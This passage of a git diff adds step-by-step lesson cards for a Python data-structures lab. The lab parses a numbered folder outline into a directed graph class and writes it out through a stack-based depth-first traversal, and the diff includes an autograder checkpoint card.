+**Step 2: Understand how to store values in a directed graph programmatically**
+```
+
+### md_content
+
+```
+In the activity, a dictionary was used to pass in the values to the directed graph; you should do the same.
+
+This will be the last step in completing the function related to reading in and storing the file's information. Once you have completed this function, you should call it from the `main` function.
+```
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1.md
new file mode 100644
index 00000000..b0aae92b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1.md
@@ -0,0 +1,45 @@
+
+
+
+
+
+
+
+
+We will be representing a simple file structure with a directed graph. You will receive a text file to use as a reference. The file will contain a bunch of file and folder names written in the format: `###. some words`. Each node inputted within the graph will always have some relation to the original parent node to represent connnections between each node.
+
+The following is an example of a file you could receive:
+
+```
+0. Friends
+01. Season 1
+011. Seinfeld
+012. The Big Bang Theory
+013. Cheers
+02. Season 2
+021. Parks and Recreation
+022. How I Met Your Mother
+...
+```
+
+The following numbers represent the "level" of the folder/file. Such numbers include `0` being the root folder and `01` being a subfolder of `0`, and so on.
+
+- In the example above, `0. Friends` would be the root, while `01. Season 1` would be its subfolder. With `0` being the initial folder of our file, each subfolder has some relationship with the original folder. In this case, we can see here that `0` is the root folder for the show `Friends`.
+- Based off of this, the `01. Season 1` would be the subfolder recommending shows similar in viewership and content to `0. Friends`. This explains why roots `011 to 013` are connected to `0. Friends`.
+- The same could be said for the `02. Season 2` subfolder containing shows similar to the second season of `0. Friends`. This example will create a recommendation system form in which they'd recommend seasons of shows that are very similar to the seasons of the root folder in the file.
+ - You can assume that the level or the number of folders/files per level will never surpass `9`
+ - You can assume that the root will always be `0`
+- `some words` represents the "name" of the folder/file, similar to how you would name your folders
+
+In the first part of the program, you will be required to:
+
+* Parse the file to obtain the structural numbers *and* names of the folders/files
+
+In later stages of the lab, you will:
+
+* Find a way to represent these components in a directed graph
+* Display the graph using `networkx` and redirect the output to a file
+
+
+This lab serves to illustrate a practical application of directed graphs from start to finish. Upon completing this lab, you should learn about situations in which one would choose a directed graph as their data structure implementation.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/11.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/11.md
new file mode 100644
index 00000000..e38b0d2e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/11.md
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+As per the activity, directed graphs are represented through their node and edges. So, within a file system, each file or folder is a node, and each "parent" folder has an edge connected to its child folder or file.
+
+The parent/child relationship can be found through reading doing some manipulations on the "structural" number provided. The entire number is mapped to the name of the folder on its right, but the first few numbers correlate with the parent folders.
+
+The following are examples of how subfolders are formatted:
+
+* `01` is a subfolder of `0`
+* `012` is a subfolder of `01`.
+* `0123` is a subfolder of `012`
+
+Quick quiz! What would the subfolder of `0257` be?
+
+It would be a subfolder of `025`! Make sure you understand the subfolder naming scheme, as it is key to solving this problem. Making a diagram by hand might help in visualizing the subfolder rules.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/111.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/111.md
new file mode 100644
index 00000000..51ed1d9d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/111.md
@@ -0,0 +1,58 @@
+
+
+
+
+
+
+Here is a diagram of the file structure with the root, subfolder, and so on. Make sure to study the file structure before moving on to the coding details.
+
+
+
+Let's get into the implementation.
+
+First, we have to open and read the file line by line to read every folder and its associated number:
+
+```python
+readFile = open("textOutline.txt", "r")
+for line in readFile:
+```
+
+To separate the names from the numbers, we'd have to split the line between the number and words. In order to do that, we can use the built-in `split()` function. However, that still leaves extra space before the name, so we will use the `strip()` function. Store these two parts in a list, named `dirAndVal` here:
+
+```python
+ dirAndVal = line.split(". ")
+ dirAndVal[1] = dirAndVal[1].strip()
+```
+
+To find and store the edges for later use, we can slice the structural string down to everything but the last character. Notice how this newly sliced string is the structural character of the current one's parent. We are going to represent each individual edge as a tuple and all edges as a list. Here, we make one edge, store it as a tuple, and add it to the list:
+
+```python
+ aTuple = (dirAndVal[0][:-1], dirAndVal[0])
+ edges.append(aTuple)
+```
+
+Remember to check your **edge cases**!
+
+```python
+ if(dirAndVal[0] != "0"):
+```
+
+Why is the example above good for handling edge case? What is that edge case? I'll give you a hint: its purpose lies in the following line.
+
+```python
+aTuple = (dirAndVal[0][:-1], dirAndVal[0])
+```
+
+Here, we are forming a tuple whose first element represents a parent and whose second represents its child. We do this by separating the last number in the directory number from the rest of it in order to clearly see the parent number. For example, 0123 ` is a subfolder of ` 012`. Thus,
+
+* `dirAndVal[0][:-1]` would return `012`, the parent (subfolder) number
+* `dirAndVal[0]` would return `0123`, the child number
+
+`aTuple` would then be `(012, 0123)`.
+
+Now, once again, let's return to why our edge case check is necessary. If we are processing the root, (represented by `0`)
+
+* `dirAndVal[0][:-1]` would return nothing
+* `dirAndVal[0]` would return `0`
+
+Our `aTuple` would be confusing, as the first element would be empty! Thus, since the root is a special exception (it has no parent), we do not want to create `aTuple` for it.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/12.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/12.md
new file mode 100644
index 00000000..64ed3ccc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/12.md
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+We can store the names of each file as the **value** of a node, each **node** being the unique structural number associated with each name. Recall in the activity that we can map the values to the nodes after defining the edges.
+
+Assume that you will never have to add edges to undefined nodes.
+
+In the activity, a dictionary was used to pass in the values to the directed graph; you should do the same.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/121.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/121.md
new file mode 100644
index 00000000..3c13e74a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/121.md
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+Recall that we had split each line that we are reading in:
+
+```python
+dirAndVal = line.split(". ")
+```
+
+That means `dirAndVal[0]` stores the structural number and `dirAndVal[1]` stores the name. We can simply make a dictionary out of this:
+
+```python
+val_map[dirAndVal[0]] = dirAndVal[1]
+```
+
+When you have finished reading the file, you will have made a list of edges and a dictionary of every node and its corresponding name.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/122.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/122.md
new file mode 100644
index 00000000..d11ef9d5
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/122.md
@@ -0,0 +1,29 @@
+
+
+
+
+
+
+Depending on the nature of your program, you may not find it necessary to modularize your functions. You can feasibly do everything from a singular function. The one function you should have is the `main()` function.
+
+You can define a `main()` function like so:
+
+```python
+def main():
+```
+
+From there, you can run all your parsing code or write a separate function just for file parsing. In this setting, it is not necessary to modularize it since we are only running the parser once. But, for good practice, we are going to write a separate function:
+
+```python
+def readFile():
+```
+
+We are going to pass in an empty list of edges and a empty map of values to fill with information from the file:
+
+```python
+def readFile(edges, val_map):
+```
+
+The rest of the code we have written for parsing will be inside the indented block of the method header.
+
+You will make a choice for the rest of the functions you write: whether to write them in the main or write a separate function for them.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-1-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-1-1.md
new file mode 100644
index 00000000..1067542f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-1-1.md
@@ -0,0 +1,115 @@
+
+
+
+
+
+
+# steps
+
+## 2-1-1 Step 1
+
+### name
+
+```
+**Step 1: Initialize a graph**
+```
+
+### md_content
+
+```
+Let's get into the implementation details of how to create our constructor and `addEdge` function.
+
+To add edges to a graph, we first have to initialize one. This is done through writing:
+```
+
+### code_snippet
+
+```python
+G = Graph()
+```
+
+## 2-1-1 Step 2
+
+### name
+
+```
+**Step 2: Create a `Graph` constructor**
+```
+
+### md_content
+
+```
+To be able to create a new `Graph` object, we must have a `Graph` **constructor** to initialize any **attributes** it may have. In our case, the edges and the values of the nodes are the most important, so we are going to store them as attributes:
+```
+
+### code_snippet
+
+```python
+def __init__(self):
+ self.edges = defaultdict(list)
+ self.val_map = {}
+```
+
+### md_content
+
+```
+For now, we are focusing on the edges, but keep in mind that we will need value of the nodes (`val_map`) later.
+```
+
+## 2-1-1 Step 3
+
+### name
+
+```
+**Step 3: Create an `addEdge` function**
+```
+
+### md_content
+
+```
+To add elements into the edges attribute, we should write a method which adds the edges one by one. Since it is a directed graph, we should accept a `from_node` and a `to_node`:
+```
+
+### code_snippet
+
+```python
+def add_edge(self, from_node, to_node):
+ self.edges[from_node].append(to_node)
+```
+
+### md_content
+
+```
+`from_node` is the node at the "tail" of the edge and `to_node` is the node at the "head" of the edge. Essentially, in `addEdge`, we are forming an edge starting at `from_node` and ending at `to_node` by storing `to_node` in the adjacency list of `from_node` (`self.edges[from_node]` is a list representing all the nodes that `from_node` has edges to).
+```
+
+### image
+
+
+
+### md_content
+
+```
+It should now make sense *why* properly determining which node is `from_node` and which node is `to_node` affects arrow direction and our algorithm correctness. The arrows of our directed graph start at `from_node` (parent node) and go towards `to_node` (child node). If we flipped this in our code and had `from_node` point to `to_node`, we would get incorrect results, as we would have our child folder be the parent of our parent folder!
+```
+
+## 2-1-1 Step 4
+
+### name
+
+```
+**Step 4: Adding edges to the graph**
+```
+
+### md_content
+
+```
+From the previous code, we should have constructed a list of edges from the file being read in, storing the parent as the tuple's first element and its child as the second. But since our function only adds one edge at a time, we have to add the edge as we iterate through the graph:
+```
+
+### code_snippet
+
+```python
+for edge in edges:
+ G.add_edge(*edge)
+```
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-1.md
new file mode 100644
index 00000000..cef1584d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-1.md
@@ -0,0 +1,46 @@
+
+
+
+
+
+
+# Steps
+
+## 2-1 Step 1
+
+### name
+
+```
+**Step 1: Understand the "from" and "to" nodes of an edge**
+```
+
+### md_content
+
+```
+To write your `Graph` class well, it should be really easy to insert edges into the graph. Each edge has a "from" and a "to" node represented by a 2-dimensional **tuple**. Because the edges are directed, the order of the elements in the tuple matters!
+
+Now would be a great time to contemplate how the "from-to" relationship is represented in the input file. Use that information to contemplate the direction of your arrows and how to best store information in the tuple.
+```
+
+### image
+
+
+
+## 2-1 Step 2
+
+### name
+
+```
+**Step 2: Create a graph constructor**
+```
+
+### md_content
+
+```
+Now, in order to create the graph, we must have a `Graph` **constructor** to initialize any **attributes** a `Graph` may have. Those attributes would be the nodes and edges since they are the foundation of forming a graph in the first place.
+
+Let's first focus on adding the edges attribute and the associated function. If we want to add elements into the edges attribute, we should write a method adding them one by one.
+```
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-2-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-2-1.md
new file mode 100644
index 00000000..da08ff0d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-2-1.md
@@ -0,0 +1,61 @@
+
+
+
+
+
+
+# Steps
+
+## 2-2-1 Step 1
+
+### name
+
+```
+**Step 1: Create `add_val_map` function**
+```
+
+### md_content
+
+```
+Previously, we initialized an attribute called `val_map` in the constructor. This attribute is of type dictionary because it can easily be used to represent **key-value** pairs, with the key as the node (structural number) and the value as the name of the folder/file.
+
+In the previous step, when reading the file, we already stored the nodes and their corresponding values as a dictionary, so it would be easy to add it to the graph that way.
+
+We write a method that accepts a dictionary as a parameter to store each key-value pair for our nodes and save the value of this parameter to our `val_map` attribute:
+```
+
+### code_snippet
+
+```python
+def add_val_map(self, val_map):
+ self.val_map = val_map
+```
+
+## 2-2-1 Step 2
+
+### name
+
+```
+**Step 2: Use `add_val_map` function**
+```
+
+### md_content
+
+```
+Once we have created this method, we would create a graph and then add this key-value pair into our graph:
+```
+
+### code_snippet
+
+```python
+G.add_val_map(val_map)
+```
+
+### md_content
+
+```
+The importance of utilizing this method is that we can organize our nodes' values in numerical order. This method also helps give our graph the ability to add new nodes for itself.
+```
+
+###
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-2.md
new file mode 100644
index 00000000..b48acb4b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-2.md
@@ -0,0 +1,24 @@
+
+
+
+
+
+
+# Steps
+
+## 2-2 Step 1
+
+### name
+
+```
+**Store values of nodes**
+```
+
+### md_content
+
+```
+In addition to storing the edges, our `Graph` class should also store the values of the nodes (the names of the folders/files). This would greatly help in printing out the graph. Because it is important information about the graph, we want to store this as an attribute of our `Graph` class.
+
+You will need to use a dictonary (`val_map`) to store all the nodes' information.
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-checkpoint.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-checkpoint.md
new file mode 100644
index 00000000..5f014f2a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2-checkpoint.md
@@ -0,0 +1,35 @@
+# name
+
+Creating the `Graph` Class Autograder
+
+# cards_folder
+
+Module4_Labs/Lab3_File_System/Cards/
+
+# checkpoint_type
+
+Autograder
+
+# instruction
+
+Submit all code you have completed thus far, including your `Graph` class. By now, your code should be able to read in the input files. The `Graph` class should be able to handle the following:
+
+* Storing and adding edges
+* Storing values (folder/file names) of each node in the graph
+
+At the end of your main function, add the following lines of code (needed only for testing and is **NOT** part of the solution). Please note that you may need to adjust variable names depending on what you chose to name `edges` and `val_map`. This code prints out all the edges tuples and the contents of the `val_map` in a **sorted** manner:
+
+```python
+ print("Edges:")
+ for edge in sorted(edges):
+ print(edge)
+ print("Values:")
+ for number in sorted(val_map):
+ print(number, val_map[number])
+```
+
+Submission can be done from Command-Line Interface (CLI) or through a `src.zip` file that you can drag and drop.
+
+# test_file_location
+
+Module4_Labs/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2.md
new file mode 100644
index 00000000..ab357f40
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/2.md
@@ -0,0 +1,27 @@
+
+
+
+
+
+
+
+
+In this next step, you are going to create a directed graph by writing your own class for it. Your graph object should be able to represent a directed graph so that it can be printed and traversed through.
+
+When representing this graph, think about the **attributes** that a graph has. What are the important aspects of this graph? How are you going to add information parsed from the file to instances of the graph?
+
+You should have parsed the file for the structural numbers and folder names. You should have noticed a pattern in the structural numbers that will give you vital information about the **directionality** of the edges. One thing to consider is how to traverse folders. Do folders have access to the names of the files within it, or do the files have access to the names of the folders they are in, or both?
+
+Your graph must have the correct directionality and you must be able to display the name at its correct structural location, which can be checked in the following parts.
+
+Friendly reminders:
+
+- Graphs can be represented by either its edges, nodes, or both
+- The edges in this graph are not weighted, but they are directional
+- You will have to print the names of the folders
+
+Hints:
+
+* Your graph class should have attributes to represent the following:
+ * Edges
+ * Values of each node
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/21.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/21.md
new file mode 100644
index 00000000..03106358
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/21.md
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+To write your graph class well, it should be really easy to insert edges into the graph. Each edge has a "from" and "to" node, making it representable by a 2D **tuple**. Because the edges are directed, the order of elements in the tuple matters!
+
+The first element of a tuple represents the "from" end of an arrow, while the second element represents the "to" end. Getting the directions of the arrows wrong is considered wrong when testing your code.
+
+Now would be a great time to contemplate how the "from-to" relationship is represented in the input file. Use that information to contemplate the direction of your arrows.
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/211.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/211.md
new file mode 100644
index 00000000..c3166a5a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/211.md
@@ -0,0 +1,41 @@
+
+
+
+
+
+
+To add edges to a graph, we first have to initialize one. This is done through writing:
+
+```python
+G2 = Graph()
+```
+
+To be able to create a new Graph object, we must have a Graph **constructor** in which to initialize any **attributes** it may have. In our case, the edges and values of the nodes are the most important, so we are going to store them as attributes:
+
+```python
+def __init__(self):
+ self.edges = defaultdict(list)
+ self.val_map = {}
+```
+
+To add elements into the edges attribute, we should write a method which adds the edges one by one. Since it is a directed graph, we should accept a `from_node` and a `to_node`:
+
+```python
+def add_edge(self, from_node, to_node):
+ self.edges[from_node].append(to_node)
+```
+
+`from_node` is the node at the "tail" of the edge and `to_node` is the node at the "head" of the edge. Essentially, in `addEdge`, we are forming an edge starting at `from_node` to `to_node` by storing `to_node` in the adjacency list of `from_node`.
+
+
+
+It should now make sense *why* properly determining which node is `from_node` and which is `to_node` affects arrow direction and our algorithm correctness. The arrows of our directed graph start at `from_node` (parent node) and go towards `to_node` (child node). If we flipped this in our code, and had `from_node` point to `to_node`, we would get incorrect results, as we would have our child folder be our parent folder's parent!
+
+From the previous code, we should have constructed a list of edges from the file as we were reading it in, storing the parent as the tuple's first element, and its child as the second element. But, since our function only adds one edge at a time, we have to add the edge as we iterate through the graph:
+
+```python
+for edge in edges:
+ G2.add_edge(*edge)
+```
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/22.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/22.md
new file mode 100644
index 00000000..15d13763
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/22.md
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+In addition to storing the edges, our graph class should also store the values of the nodes (the names of the folders/files). This would greatly help as we are printing out the graph. Because this is considered important information about the graph, we want to store them as an attribute of our graph class.
+
+Think about what data structure is best for storing this kind of information: each unique node has a name associated with it.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/221.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/221.md
new file mode 100644
index 00000000..46318048
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/221.md
@@ -0,0 +1,23 @@
+
+
+
+
+
+
+In the previous card, we added initializing an **attribute** called `val_map` in the constructor. This attribute is of a type dictionary because it can be easily represented as a **key-value** pair, with the key as the node and the value as the name of the folder or file.
+
+In the previous step, when reading the file, we already stored the nodes and their corresponding values as a dictionary, so it'd be easy to add it to the graph that way.
+
+We write a method that accepts a dictionary as a parameter:
+
+```python
+def add_val_map(self, val_map):
+ self.val_map = val_map
+```
+
+And we call it like so:
+
+```python
+G2.add_val_map(val_map)
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-1-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-1-1.md
new file mode 100644
index 00000000..44024749
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-1-1.md
@@ -0,0 +1,130 @@
+
+
+
+
+
+
+# Steps
+
+## 3-1-1 Step 1
+
+### name
+
+```
+**Step 1: Understand DFS**
+```
+
+### md_content
+
+```
+`DFS` is an algorithm which traverses a graph (directed or undirected) through the use of a `stack`. We start with a given start node (in this case, the root), mark it as "visited,"" and push unvisited neighbors to the `stack`. We then pop the top node off of the `stack`, mark it as "visited," and repeat this process until all nodes have been visited.
+
+Hopefully, that rings a bell. It's important to have a fundamental understanding of `DFS` to complete this part of the lab. If needed, you can refer back to the activities which discuss `DFS` in depth (no pun intended!).
+
+Let's get to the specifics of this problem now. We begin with the first 4 steps of the initial setup of the DFS algorithm for this problem.
+```
+
+## 3-1-1 Step 2
+
+### name
+
+```
+**Step 2: Create visited defaultdict(bool)**
+```
+
+### md_content
+
+```
+You need to create a `visited` `defaultdict(bool)`. We have to use a `defaultdict` to index our `visited` by the string that identifies a given node (i.e `"011"`).
+```
+
+### code_snippet
+
+```python
+ visited = defaultdict(bool)
+```
+
+## 3-1-1 Step 3
+
+### name
+
+```
+**Step 3: Creating the `stack`**
+```
+
+### md_content
+
+```
+A `stack` must be created since it will hold the nodes we need to visit next. Here, it will enable us to print out our "folders" in the correct relative order:
+```
+
+### code_snippet
+
+```python
+ stack = []
+```
+
+### md_content
+
+```
+Why does a `stack` work for this? Well, it's because this problem wants us to order the folders such that we go as "far" down the hierarchy as possible **before** going back up (once we can't go any further down). That is, we wish to print `0` , then its first child `01` , then its children `011`, `012`, `013` **before** we print `0`'s second child, `02` (refer to diagram below).
+```
+
+### image
+
+
+
+### md_content
+
+```
+Notice how we are going as far down the tree as possible by popping from the **top** of `stack`. The `stack` allows us to do this as we can add all the unprinted, neighboring folders of the one we just printed, pop the **top** of the `stack` and print that folder, and repeat this process until all the folders are printed.
+
+Now, back to the code.
+```
+
+## 3-1-1 Step 4
+
+### name
+
+```
+**Step 4: Push values into `stack` using `start` to represent the first item**
+```
+
+### md_content
+
+```
+Since we want to start with `start`, we need to push it onto our `stack`.
+```
+
+### code_snippet
+
+```python
+ stack.append(start)
+```
+
+## 3-1-1 Step 5
+
+### name
+
+```
+**Step 5: Signify that each item added into the `stack` is in the `stack` (i.e. mark it as `True`)**
+```
+
+### md_content
+
+```
+Since we are pushing `start` onto our `stack`, that means we already visited it, so we need to mark it as such:
+```
+
+### code_snippet
+
+```python
+ visited[start] = True
+```
+
+### md_content
+
+```
+Given that our start node has been pushed on the `stack` and marked as "visited," it is time to start the DFS traversal. Try to think about how you can implement DFS in the context of this lab.
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-1.md
new file mode 100644
index 00000000..4fdce4ca
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-1.md
@@ -0,0 +1,36 @@
+
+
+
+
+
+
+# Steps
+
+## 3-1 Step 1
+
+### name
+
+```
+**Step 1: Check if you have visited a previous node**
+```
+
+### md_content
+
+```
+First, you need to think about how we will track previously visited locations when traversing. Try to think about how using a `defaultdict(bool)` will enable you to see if you have already been to a given node.
+```
+
+## 3-1 Step 2
+
+### name
+
+```
+**Step 2: Make sure that you start on the initial root**
+```
+
+### md_content
+
+```
+Once you have those set up, you need to make sure that your DFS traversal starts at (and, therefore, marks as "visited") the root, `start`.
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2-1.md
new file mode 100644
index 00000000..a6636289
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2-1.md
@@ -0,0 +1,132 @@
+
+
+
+
+
+
+# Steps
+
+## 3-2-1 Step 1
+
+### name
+
+```
+**Step 1: Iterate through the `stack` until it's empty**
+```
+
+### md_content
+
+```
+In order to visit all of the nodes at least once, we need to keep going until the `stack` is empty:
+```
+
+### code_snippet
+
+```python
+while stack:
+```
+## 3-2-1 Step 2
+
+### name
+
+```
+**Step 2: Pop the last node from `stack` to visit other nodes**
+```
+
+### md_content
+
+```
+Now, we need a new vertex to visit. In order to do that, we just need to pop the last value off of the `stack` and save it in `start`:
+```
+
+### code_snippet
+
+```python
+start = stack.pop()
+```
+## 3-2-1 Step 3
+
+### name
+
+```
+**Step 3: Write to a new file**
+```
+
+### md_content
+
+```
+We need to write all of the information associated with `start` to a new file:
+```
+
+### code_snippet
+
+```python
+f = open("output.txt", "a")
+```
+### md_content
+
+```
+The second parameter is `a` to signify that we are appending to the file.
+```
+
+## 3-2-1 Step 4
+
+### name
+
+```
+**Step 4: Replicate the structure of the original file**
+```
+
+### md_content
+
+```
+We are now writing the correct information to the file here. `start` holds the identifier for a particular node. We know that we have the "file names" in the `val_map`, so we use those to replicate the structure of the file given originally:
+```
+
+### code_snippet
+
+```python
+f.write(start+'. ' + self.val_map[start] + '\n')
+```
+## 3-2-1 Step 5
+
+### name
+
+```
+**Step 5: Close your newly made file after opening it**
+```
+
+### md_content
+
+```
+Even though we are coming back to this file later, it is good practice to always close the file after opening it:
+```
+
+### code_snippet
+
+```python
+f.close()
+```
+
+### md_content
+
+```
+Here is the above code fragments shown together:
+```
+
+### code_snippet
+
+```python
+while stack:
+ start = stack.pop()
+ f = open("output.txt", "a")
+ f.write(start+'. ' + self.val_map[start] + '\n')
+ f.close()
+```
+
+### md_content
+
+```
+At this point, we have saved the node currently being observed into `start`. Once we get this node, we are writing its information to the output file. Think about what more is required for us to do.
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2-2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2-2.md
new file mode 100644
index 00000000..65379c60
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2-2.md
@@ -0,0 +1,149 @@
+
+
+
+
+
+
+# Steps
+
+## 3-2-2 Step 1
+
+### name
+
+```
+**Step 1: Sort edges that connect to `start`**
+```
+
+### md_content
+
+```
+Let's now focus on sorting the list of edges connecting to `start` and implementing the functionality for adding new nodes to the `stack`.
+
+Before we check all of the edges `start` connects to, we need to make sure that the files are in the correct order. To do this, we sort all of the edges that `start` connects to:
+```
+
+### code_snippet
+
+```python
+lst = self.edges[start]
+lst.sort()
+```
+## 3-2-2 Step 2
+
+### name
+
+```
+**Step 2: Reverse the list**
+```
+
+### md_content
+
+```
+Now that the list is sorted, we need to reverse the list since we are using a `stack` (Last-In First-Out):
+```
+
+### code_snippet
+
+```python
+lst = lst[::-1]
+```
+## 3-2-2 Step 3
+
+### name
+
+```
+**Step 3: Iterate through the list**
+```
+
+### md_content
+
+```
+We need to loop through `lst` since it holds all of the vertices that `start` connects to:
+```
+
+### code_snippet
+
+```python
+for j in lst:
+```
+## 3-2-2 Step 4
+
+### name
+
+```
+**Step 4: Check if you have visited the current vertex you are observing in the loop**
+```
+
+### md_content
+
+```
+Again, we need to check if we have already been to the vertex currently being observed in the loop, as we will only add the vertex to the `stack` if we have not visited it already (step 5):
+```
+
+### code_snippet
+
+```python
+if visited[j] == False:
+```
+## 3-2-2 Step 5
+
+### name
+
+```
+**Step 5: Given that you haven't visited the vertex, append it to the `stack`**
+```
+
+### md_content
+
+```
+If we haven't visited the vertex, we will add it to our `stack`:
+```
+
+### code_snippet
+
+```python
+stack.append(j)
+```
+## 3-2-2 Step 6
+
+### name
+
+```
+**Step 6: Signify that you have visited the vertex**
+```
+
+### md_content
+
+```
+Now that we have pushed the vertex to the `stack`, we mark that we have visited it:
+```
+
+### code_snippet
+
+```python
+visited[j] = True
+```
+
+### md_content
+
+```
+Here is the above (and previous) code fragments shown together:
+```
+
+### code_snippet
+
+```python
+while stack:
+ start = stack.pop()
+ f = open("output.txt", "a")
+ f.write(start+'. ' + self.val_map[start] + '\n')
+ f.close()
+ lst = self.edges[start]
+ lst.sort()
+ lst = lst[::-1]
